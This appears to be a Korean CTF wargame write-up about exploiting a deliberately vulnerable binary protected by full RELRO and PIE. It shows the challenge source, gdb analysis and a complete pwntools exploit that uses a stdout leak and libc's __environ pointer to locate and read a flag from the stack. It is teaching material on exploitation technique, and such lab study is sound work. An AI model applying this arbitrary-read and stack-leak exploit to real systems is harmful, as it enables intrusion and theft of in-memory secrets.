Exploit Tech: __environ

Full RELRO and PIE, so the stack address is leaked through the environ pointer in libc instead.

2026.08.18 Pwn original post
$ checksec ./environ
[*] '/Users/chaeeun/Desktop/1b801be5-66b4-4950-9b5c-51a6c27923d1/environ'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    SHSTK:    Enabled
    IBT:      Enabled
    Stripped: No
// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
    exit(0);
}

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    signal(SIGALRM, sig_handle);
    alarm(5);
}

void read_file() {
    char file_buf[4096];
    int fd = open("./flag", O_RDONLY);
    read(fd, file_buf, sizeof(file_buf) - 1);
    close(fd);
}

int main() {
    char buf[1024];
    long addr;
    int idx;

    init();
    read_file();

    printf("stdout: %p\n", stdout);

    while (1) {
        printf("> ");
        scanf("%d", &idx);
        switch (idx) {
            case 1:
                printf("Addr: ");
                scanf("%ld", &addr);
                printf("%s", (char *)addr);
                break;
            default:
                break;
        }
    }
    return 0;
}

거의 모든 보호 기법이 들어갔다 할 수 있다.

일단 이번 워게임의 주제인 환경 변수에 대해서 설명하겠습니다. 환경 변수는 쉽게 말하면 프로그램이 실행될 때 같이 전달되는 설정값입니다. 예를 들면 리눅스에서 이런 것들이 환경 변수입니다.

PATH=/usr/bin:/bin
HOME=/home/user
USER=chaeeun
LANG=en_US.UTF-8

즉, 프로그램 입장에서는 “나는 어디서 실행됐고, 사용자는 누구고, 명령어 경로는 어디고, 언어 설정은 뭐지?” 같은 정보를 환경 변수에서 가져올 수 있습니다.

이번 문제에서 중요한 건 환경 변수 자체의 값보다, environ 이라는 환경 변수 목록을 가리키는 포인터입니다. environ 은 libc 안에 있는 전역 변수이고, 대략 이런 역할입니다.

char **environ;

의미는 environ → 환경 변수 목록이 있는 stack 근처 주소. 즉, environ 을 읽으면 스택 주소를 알아낼 수 있습니다.

1. __environ 주소 구하기

이 문제에서는 먼저 프로그램이 출력해주는 stdout 주소를 이용해 libc base 주소를 계산할 수 있다.

stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']

stdout 은 libc 내부에 존재하는 객체이기 때문에, 실제 실행 중 출력된 stdout 주소에서 libc 안의 _IO_2_1_stdout_ 오프셋을 빼면 libc base 주소를 구할 수 있다. 그다음 libc 안에 있는 __environ 심볼 주소를 계산한다.

libc_environ = libc_base + elf.symbols['__environ']

__environ 은 환경 변수 목록을 가리키는 포인터이다. 리눅스에서 환경 변수들은 보통 프로세스의 stack 영역 근처에 저장된다. 따라서 __environ 값을 읽으면 stack 쪽 주소를 알아낼 수 있다. 정리하면 다음과 같다.

stdout leak → libc base 계산 → libc 안의 __environ 주소 계산 → __environ 값을 읽어서 stack 주소 leak

2. read_file() 에서 flag 가 저장되는 stack 위치 확인

Figure 1

read_file() 함수는 flag 파일을 열어서 지역 변수인 file_buf 에 내용을 읽어온다.

char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);

즉, flag 내용은 heap 이나 전역 영역이 아니라 stack 영역에 저장된다. GDB 로 read_file() 을 disassemble 해보면 read() 호출 전에 버퍼 주소가 설정되는 부분을 확인할 수 있다.

lea rcx, [rbp-0x1010]
mov edx, 0xfff
mov rsi, rcx
call read@plt

여기서 rcx 가 file_buf 의 주소이며, 이후 rsi 로 전달되어 read() 의 두 번째 인자인 buffer 로 사용된다. 따라서 read() 직후에 breakpoint 를 걸면, rcx 가 flag 내용이 들어갈 stack buffer 주소를 가리키고 있음을 확인할 수 있다.

(gdb) b *read_file+93
(gdb) r
(gdb) x/gx $rcx

이후 앞에서 구한 __environ 값과 $rcx 값을 비교하면, environ 으로 leak 한 stack 주소와 flag buffer 사이의 거리를 계산할 수 있다.

(gdb) p/x __environ
(gdb) p/x 0x7fffffffe698 - 0x7fffffffd130

계산 결과 offset 은 0x1568 이다. 즉, __environ 으로 얻은 stack 주소에서 0x1568을 빼면 read_file() 이 flag 를 읽어둔 buffer 근처 주소를 구할 수 있다.

p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(environ).encode())
p_environ = u64(p.recvn(6).ljust(8, b'\x00'))
flag_buf = p_environ - 0x1568

최종 Exploit Code

#!/usr/bin/env python3
from pwn import *

context.binary = './environ'
context.log_level = 'debug'

elf  = ELF('./environ')
libc = ELF('./libc.so.6')

p = remote('host', port)

# 1. stdout leak 받기
p.recvuntil(b'stdout: ')
stdout_leak = int(p.recvline().strip(), 16)
log.info(f'stdout leak = {hex(stdout_leak)}')

# 2. libc base 계산
libc_base    = stdout_leak - libc.symbols['_IO_2_1_stdout_']
environ_addr = libc_base + libc.symbols['__environ']
log.info(f'libc base  = {hex(libc_base)}')
log.info(f'__environ  = {hex(environ_addr)}')


def aar(addr):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Addr: ', str(addr).encode())
    return p.recvuntil(b'> ', drop=True)


data = aar(environ_addr)
stack_leak = u64(data[:6].ljust(8, b'\x00'))
log.info(f'stack leak = {hex(stack_leak)}')

flag_buf = stack_leak - 0x1568
log.info(f'flag buffer = {hex(flag_buf)}')

flag = aar(flag_buf)
log.success(f'flag = {flag}')

p.interactive()